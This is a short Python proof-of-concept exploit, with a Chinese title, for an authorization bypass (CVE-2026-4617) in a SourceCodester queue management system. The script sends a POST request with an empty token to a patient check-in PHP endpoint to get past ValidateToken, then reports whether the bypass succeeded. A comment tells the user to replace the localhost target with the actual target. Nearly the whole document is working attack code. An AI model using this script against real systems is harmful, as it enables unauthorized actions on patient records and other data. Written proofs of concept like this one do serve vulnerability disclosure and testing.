CVE-2026-4617 SourceCodester队列管理系统权限绕过

import requests def exploit(target_url): """ PoC for CVE-2026-4617 Exploits improper authorization in ValidateToken function. """ # Vulnerable endpoint endpoint = "/php/api_patient_checkin.php" url = f"{target_url}{endpoint}" # Payload to bypass validation # The vulnerability allows manipulation without a valid token data = { "action": "checkin", "token": "", # Sending empty or crafted token to bypass ValidateToken "patient_id": "1" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (CVE-2026-4617 PoC)" } try: response = requests.post(url, data=data, headers=headers, timeout=10) if response.status_code == 200 and "success" in response.text.lower(): print("[+] Exploit successful! Authorization bypassed.") print(f"[+] Response: {response.text}") else: print("[-] Exploit failed or target not vulnerable.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target exploit(target)